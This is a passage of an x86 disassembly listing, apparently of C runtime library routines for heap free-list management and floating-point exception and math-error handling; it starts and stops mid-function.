		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_419462
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_419455
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx

loc_419455:				; CODE XREF: sub_419308+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_419487
; ---------------------------------------------------------------------------

loc_419462:				; CODE XREF: sub_419308+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_419478
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx

loc_419478:				; CODE XREF: sub_419308+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h

loc_419487:				; CODE XREF: sub_419308+158j
		shr	edx, cl
		or	[eax], edx

loc_41948B:				; CODE XREF: sub_419308+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_4194A0
; ---------------------------------------------------------------------------

loc_41949D:				; CODE XREF: sub_419308+E5j
		mov	edx, [ebp+arg_4]

loc_4194A0:				; CODE XREF: sub_419308+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_4195F6
; ---------------------------------------------------------------------------

loc_4194AF:				; CODE XREF: sub_419308+52j
					; sub_419308+5Cj
		xor	eax, eax
		jmp	loc_4195F9
; ---------------------------------------------------------------------------

loc_4194B6:				; CODE XREF: sub_419308+49j
		jge	loc_4195F6
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_4194E1
		push	3Fh
		pop	esi

loc_4194E1:				; CODE XREF: sub_419308+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_419570
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_4194FA
		push	3Fh
		pop	esi

loc_4194FA:				; CODE XREF: sub_419308+1EDj
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_419549
		cmp	esi, 20h
		jnb	short loc_419525
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_419546
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_419546
; ---------------------------------------------------------------------------

loc_419525:				; CODE XREF: sub_419308+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_419546
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx

loc_419546:				; CODE XREF: sub_419308+214j
					; sub_419308+21Bj ...
		mov	ebx, [ebp+arg_4]

loc_419549:				; CODE XREF: sub_419308+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_419570
		push	3Fh
		pop	esi

loc_419570:				; CODE XREF: sub_419308+1DDj
					; sub_419308+263j
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_4195ED
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_4195C4
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_4195B7
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi

loc_4195B7:				; CODE XREF: sub_419308+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_4195E9
; ---------------------------------------------------------------------------

loc_4195C4:				; CODE XREF: sub_419308+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_4195DA
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi

loc_4195DA:				; CODE XREF: sub_419308+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h

loc_4195E9:				; CODE XREF: sub_419308+2BAj
		shr	edx, cl
		or	[eax], edx

loc_4195ED:				; CODE XREF: sub_419308+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax

loc_4195F6:				; CODE XREF: sub_419308+1A2j
					; sub_419308:loc_4194B6j
		push	1
		pop	eax

loc_4195F9:				; CODE XREF: sub_419308+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419308	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __fastcall sub_4195FE(int,int,double,int)

sub_4195FE	proc near		; CODE XREF: sub_415E6C+51p
					; sub_415FB3+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	dword_4386E8, 0
		jnz	short loc_419633
		push	[ebp+arg_C]	; int
		fld	qword ptr [ebp+arg_4]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+14h+var_14]
		fld	qword ptr [ebp+arg_4]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_419BB3
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_419633:				; CODE XREF: sub_4195FE+Aj
		push	0FFFFh
		mov	dword_469494, 21h
		push	[ebp+arg_C]
		call	sub_419E26
		fld	qword ptr [ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_4195FE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_419651(int,int,double,double,int)

sub_419651	proc near		; CODE XREF: sub_415E6C:loc_415F2Fp
					; sub_415FB3:loc_416076p

var_74		= qword	ptr -74h
var_6C		= qword	ptr -6Ch
var_64		= qword	ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_41999C
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41968F
		lea	eax, [ebp+arg_10]
		and	[ebp+var_20], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_4196E9
		add	esp, 18h

loc_41968F:				; CODE XREF: sub_419651+1Aj
		push	[ebp+arg_0]
		call	sub_419C86
		cmp	dword_4386E8, 0
		pop	ecx
		jnz	short loc_4196CD
		test	eax, eax
		jz	short loc_4196CD
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		push	ecx
		push	ecx		; double
		fstp	[esp+64h+var_64]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+6Ch+var_6C]
		fld	[ebp+arg_8]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+74h+var_74]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_419BB3
		add	esp, 24h
		leave
		retn
; ---------------------------------------------------------------------------

loc_4196CD:				; CODE XREF: sub_419651+4Ej
					; sub_419651+52j
		push	eax
		call	sub_419C3B
		mov	[esp+5Ch+var_5C], 0FFFFh
		push	[ebp+arg_18]
		call	sub_419E26
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx
		leave
		retn
sub_419651	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4196E9	proc near		; CODE XREF: sub_419651+36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		push	ebx
		push	esi
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	edi
		push	1
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		pop	ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		test	cl, 10h
		jz	short loc_41971B
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Fh
		or	[eax+4], ebx

loc_41971B:				; CODE XREF: sub_4196E9+23j
		test	cl, 2
		jz	short loc_41972E
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000093h
		or	dword ptr [eax+4], 2

loc_41972E:				; CODE XREF: sub_4196E9+35j
		test	cl, bl
		jz	short loc_419740
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000091h
		or	dword ptr [eax+4], 4

loc_419740:				; CODE XREF: sub_4196E9+47j
		test	cl, 4
		jz	short loc_419753
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Eh
		or	dword ptr [eax+4], 8

loc_419753:				; CODE XREF: sub_4196E9+5Aj
		test	cl, 8
		jz	short loc_419766
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000090h
		or	dword ptr [eax+4], 10h

loc_419766:				; CODE XREF: sub_4196E9+6Dj
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	2
		mov	ecx, [esi]
		mov	edx, [eax+8]
		not	ecx
		and	ecx, ebx
		and	edx, 0FFFFFFEFh
		shl	ecx, 4
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		and	ecx, 4
		shl	ecx, 1
		and	edx, 0FFFFFFF7h
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 1
		and	ecx, 4
		and	edx, 0FFFFFFFBh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 3
		and	ecx, edi
		and	edx, 0FFFFFFFDh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 5
		and	ecx, ebx
		and	edx, 0FFFFFFFEh
		or	ecx, edx
		mov	[eax+8], ecx
		call	sub_419E09
		test	al, bl
		jz	short loc_4197EF
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h

loc_4197EF:				; CODE XREF: sub_4196E9+FDj
		test	al, 4
		jz	short loc_4197FA
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8

loc_4197FA:				; CODE XREF: sub_4196E9+108j
		test	al, 8
		jz	short loc_419805
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4

loc_419805:				; CODE XREF: sub_4196E9+113j
		test	al, 10h
		jz	short loc_41980F
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi

loc_41980F:				; CODE XREF: sub_4196E9+11Ej
		test	al, 20h
		jz	short loc_419819
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx

loc_419819:				; CODE XREF: sub_4196E9+128j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_419858
		cmp	eax, 400h
		jz	short loc_41984A
		cmp	eax, 800h
		jz	short loc_41983E
		cmp	eax, ecx
		jnz	short loc_41985E
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_41985E
; ---------------------------------------------------------------------------

loc_41983E:				; CODE XREF: sub_4196E9+147j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_419854
; ---------------------------------------------------------------------------

loc_41984A:				; CODE XREF: sub_4196E9+140j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx

loc_419854:				; CODE XREF: sub_4196E9+15Fj
		mov	[eax], ecx
		jmp	short loc_41985E
; ---------------------------------------------------------------------------

loc_419858:				; CODE XREF: sub_4196E9+139j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh

loc_41985E:				; CODE XREF: sub_4196E9+14Bj
					; sub_4196E9+153j ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_419889
		cmp	eax, 200h
		jz	short loc_41987C
		cmp	eax, ecx
		jnz	short loc_419896
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_419896
; ---------------------------------------------------------------------------

loc_41987C:				; CODE XREF: sub_4196E9+185j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_419894
; ---------------------------------------------------------------------------

loc_419889:				; CODE XREF: sub_4196E9+17Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8

loc_419894:				; CODE XREF: sub_4196E9+19Ej
		mov	[eax], ecx

loc_419896:				; CODE XREF: sub_4196E9+189j
					; sub_4196E9+191j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFFh
		mov	edx, [eax]
		shl	ecx, 5
		and	edx, 0FFFE001Fh
		or	ecx, edx
		mov	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+50h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+50h], ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [edi]
		fstp	qword ptr [eax+40h]
		call	sub_419E17
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		call	dword_421184	; RaiseException
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_419910
		and	dword ptr [esi], 0FFFFFFFEh

loc_419910:				; CODE XREF: sub_4196E9+222j
		test	byte ptr [eax+8], 8
		jz	short loc_419919
		and	dword ptr [esi], 0FFFFFFFBh

loc_419919:				; CODE XREF: sub_4196E9+22Bj
		test	byte ptr [eax+8], 4
		jz	short loc_419922
		and	dword ptr [esi], 0FFFFFFF7h

loc_419922:				; CODE XREF: sub_4196E9+234j
		test	byte ptr [eax+8], 2
		jz	short loc_41992B
		and	dword ptr [esi], 0FFFFFFEFh

loc_41992B:				; CODE XREF: sub_4196E9+23Dj
		test	[eax+8], bl
		jz	short loc_419933
		and	dword ptr [esi], 0FFFFFFDFh

loc_419933:				; CODE XREF: sub_4196E9+245j
		mov	ecx, [eax]
		mov	edx, 0FFFFF3FFh
		and	ecx, 3
		sub	ecx, 0
		jz	short loc_419967
		dec	ecx
		jz	short loc_41995B
		dec	ecx
		jz	short loc_419951
		dec	ecx
		jnz	short loc_419969
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_419969
; ---------------------------------------------------------------------------

loc_419951:				; CODE XREF: sub_4196E9+25Dj
		mov	ecx, [esi]
		and	ch, 0FBh
		or	ch, 8
		jmp	short loc_419963
; ---------------------------------------------------------------------------

loc_41995B:				; CODE XREF: sub_4196E9+25Aj
		mov	ecx, [esi]
		and	ch, 0F7h
		or	ch, 4

loc_419963:				; CODE XREF: sub_4196E9+270j
		mov	[esi], ecx
		jmp	short loc_419969
; ---------------------------------------------------------------------------

loc_419967:				; CODE XREF: sub_4196E9+257j
		and	[esi], edx

loc_419969:				; CODE XREF: sub_4196E9+260j
					; sub_4196E9+266j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_419989
		dec	ecx
		jz	short loc_419980
		dec	ecx
		jnz	short loc_419992
		and	[esi], edx
		jmp	short loc_419992
; ---------------------------------------------------------------------------

loc_419980:				; CODE XREF: sub_4196E9+28Ej
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 2
		jmp	short loc_419990
; ---------------------------------------------------------------------------

loc_419989:				; CODE XREF: sub_4196E9+28Bj
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 3

loc_419990:				; CODE XREF: sub_4196E9+29Ej
		mov	[esi], ecx

loc_419992:				; CODE XREF: sub_4196E9+291j
					; sub_4196E9+295j
		fld	qword ptr [eax+40h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4196E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41999C	proc near		; CODE XREF: sub_419651+10p

var_24		= qword	ptr -24h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, eax
		and	edi, 1Fh
		push	1
		test	al, 8
		pop	ebx
		jz	short loc_4199C7
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_4199C7
		push	ebx
		call	sub_419E49
		pop	ecx
		and	edi, 0FFFFFFF7h
		jmp	loc_419B91
; ---------------------------------------------------------------------------

loc_4199C7:				; CODE XREF: sub_41999C+15j
					; sub_41999C+1Aj
		test	al, 4
		jz	short loc_4199E1
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_4199E1
		push	4
		call	sub_419E49
		pop	ecx
		and	edi, 0FFFFFFFBh
		jmp	loc_419B91
; ---------------------------------------------------------------------------

loc_4199E1:				; CODE XREF: sub_41999C+2Dj
					; sub_41999C+33j
		test	al, bl
		jz	loc_419ABB
		test	byte ptr [ebp+arg_8], 8
		jz	loc_419ABB
		push	8
		call	sub_419E49
		pop	ecx
		mov	eax, 0C00h
		mov	ecx, [ebp+arg_8]
		and	ecx, eax
		jz	loc_419A93
		cmp	ecx, 400h
		jz	short loc_419A6B
		cmp	ecx, 800h
		jz	short loc_419A43
		cmp	ecx, eax
		jnz	loc_419AB3
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_4217B0
		fld	dbl_438078
		fnstsw	ax
		sahf
		ja	short loc_419A3B
		fchs

loc_419A3B:				; CODE XREF: sub_41999C+9Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_419AB1
; ---------------------------------------------------------------------------

loc_419A43:				; CODE XREF: sub_41999C+7Dj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_4217B0
		fnstsw	ax
		sahf
		jbe	short loc_419A5B
		fld	dbl_438068
		jmp	short loc_419A63
; ---------------------------------------------------------------------------

loc_419A5B:				; CODE XREF: sub_41999C+B5j
		fld	dbl_438078
		fchs

loc_419A63:				; CODE XREF: sub_41999C+BDj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_419AB1
; ---------------------------------------------------------------------------

loc_419A6B:				; CODE XREF: sub_41999C+75j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_4217B0
		fnstsw	ax
		sahf
		jbe	short loc_419A83
		fld	dbl_438078
		jmp	short loc_419A8B
; ---------------------------------------------------------------------------

loc_419A83:				; CODE XREF: sub_41999C+DDj
		fld	dbl_438068
		fchs

loc_419A8B:				; CODE XREF: sub_41999C+E5j
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_419AB1
; ---------------------------------------------------------------------------

loc_419A93:				; CODE XREF: sub_41999C+69j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_4217B0
		fld	dbl_438068
		fnstsw	ax
		sahf
		ja	short loc_419AAB
		fchs

loc_419AAB:				; CODE XREF: sub_41999C+10Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]

loc_419AB1:				; CODE XREF: sub_41999C+A5j
					; sub_41999C+CDj ...
		fstp	qword ptr [ecx]

loc_419AB3:				; CODE XREF: sub_41999C+81j
		and	edi, 0FFFFFFFEh
		jmp	loc_419B91
; ---------------------------------------------------------------------------

loc_419ABB:				; CODE XREF: sub_41999C+47j
					; sub_41999C+51j
		test	al, 2
		jz	loc_419B91
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_419B91
		push	esi
		xor	esi, esi
		test	al, 10h
		jz	short loc_419AD6
		mov	esi, ebx

loc_419AD6:				; CODE XREF: sub_41999C+136j
		mov	eax, [ebp+arg_4]
		fld	qword ptr [eax]
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		fcomp	dbl_4217B0
		fnstsw	ax
		sahf
		jz	loc_419B7F
		fld	[ebp+var_C]
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_419D48
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		fstp	[ebp+var_C]
		lea	ecx, [eax-600h]
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_419B21
		fldz
		mov	esi, ebx
		fstp	[ebp+var_C]
		jmp	short loc_419B75
; ---------------------------------------------------------------------------

loc_419B21:				; CODE XREF: sub_41999C+17Aj
		fld	[ebp+var_C]
		fcomp	dbl_4217B0
		fnstsw	ax
		sahf
		jnb	short loc_419B33
		mov	edx, ebx
		jmp	short loc_419B35
; ---------------------------------------------------------------------------

loc_419B33:				; CODE XREF: sub_41999C+191j
		xor	edx, edx

loc_419B35:				; CODE XREF: sub_41999C+195j
		mov	al, byte ptr [ebp+var_C+6]
		and	eax, 0Fh
		or	al, 10h
		mov	word ptr [ebp+var_C+6],	ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_419B69
		sub	eax, ecx

loc_419B4C:				; CODE XREF: sub_41999C+1CBj
		test	byte ptr [ebp+var_C], bl
		jz	short loc_419B57
		test	esi, esi
		jnz	short loc_419B57
		mov	esi, ebx

loc_419B57:				; CODE XREF: sub_41999C+1B3j
					; sub_41999C+1B7j
		shr	dword ptr [ebp+var_C], 1
		test	byte ptr [ebp+var_C+4],	bl
		jz	short loc_419B63
		or	byte ptr [ebp+var_C+3],	80h

loc_419B63:				; CODE XREF: sub_41999C+1C1j
		shr	dword ptr [ebp+var_C+4], 1
		dec	eax
		jnz	short loc_419B4C

loc_419B69:				; CODE XREF: sub_41999C+1ACj
		test	edx, edx
		jz	short loc_419B75
		fld	[ebp+var_C]
		fchs
		fstp	[ebp+var_C]

loc_419B75:				; CODE XREF: sub_41999C+183j
					; sub_41999C+1CFj
		fld	[ebp+var_C]
		mov	eax, [ebp+arg_4]
		fstp	qword ptr [eax]
		jmp	short loc_419B81
; ---------------------------------------------------------------------------

loc_419B7F:				; CODE XREF: sub_41999C+14Ej
		mov	esi, ebx

loc_419B81:				; CODE XREF: sub_41999C+1E1j
		test	esi, esi
		pop	esi
		jz	short loc_419B8E
		push	10h
		call	sub_419E49
		pop	ecx

loc_419B8E:				; CODE XREF: sub_41999C+1E8j
		and	edi, 0FFFFFFFDh

loc_419B91:				; CODE XREF: sub_41999C+26j
					; sub_41999C+40j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_419BA8
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_419BA8
		push	20h
		call	sub_419E49
		pop	ecx
		and	edi, 0FFFFFFEFh

loc_419BA8:				; CODE XREF: sub_41999C+1F9j
					; sub_41999C+1FFj
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	ebx
		setz	al
		leave
		retn
sub_41999C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_419BB3(int,int,int,int,int,int,double,int)

sub_419BB3	proc near		; CODE XREF: sub_4195FE+2Bp
					; sub_419651+72p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		call	sub_419C61
		test	eax, eax
		pop	ecx
		mov	[ebp+var_1C], eax
		jz	short loc_419C1E
		mov	eax, [ebp+arg_8]
		push	esi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_419E26
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41D813
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_419C18
		push	esi
		call	sub_419C3B
		pop	ecx

loc_419C18:				; CODE XREF: sub_419BB3+5Cj
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------

loc_419C1E:				; CODE XREF: sub_419BB3+14j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_419E26
		push	[ebp+arg_0]
		call	sub_419C3B
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_419BB3	endp


; =============== S U B	R O U T	I N E =======================================



sub_419C3B	proc near		; CODE XREF: sub_419651+7Dp
					; sub_419BB3+5Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_419C56
		jle	short locret_419C60
		cmp	eax, 3
		jg	short locret_419C60
		mov	dword_469494, 22h
		retn
; ---------------------------------------------------------------------------

loc_419C56:				; CODE XREF: sub_419C3B+7j
		mov	dword_469494, 21h

locret_419C60:				; CODE XREF: sub_419C3B+9j
					; sub_419C3B+Ej
		retn
sub_419C3B	endp


; =============== S U B	R O U T	I N E =======================================



sub_419C61	proc near		; CODE XREF: sub_419BB3+9p

arg_0		= dword	ptr  4

		xor	ecx, ecx
		mov	eax, offset dword_437F90

loc_419C68:				; CODE XREF: sub_419C61+18j
		mov	edx, [eax]
		cmp	edx, [esp+arg_0]
		jz	short loc_419C7E
		add	eax, 8
		inc	ecx
		cmp	eax, offset dbl_438068
		jl	short loc_419C68
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_419C7E:				; CODE XREF: sub_419C61+Dj
		mov	eax, off_437F94[ecx*8]
		retn
sub_419C61	endp


; =============== S U B	R O U T	I N E =======================================



sub_419C86	proc near		; CODE XREF: sub_419651+41p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_419C92
		push	5
		jmp	short loc_419CA8
; ---------------------------------------------------------------------------

loc_419C92:				; CODE XREF: sub_419C86+6j
		test	al, 8
		jz	short loc_419C9A
		push	1
		jmp	short loc_419CA8
; ---------------------------------------------------------------------------

loc_419C9A:				; CODE XREF: sub_419C86+Ej
		test	al, 4
		jz	short loc_419CA2
		push	2
		jmp	short loc_419CA8
; ---------------------------------------------------------------------------

loc_419CA2:				; CODE XREF: sub_419C86+16j
		test	al, 1
		jz	short loc_419CAA
		push	3

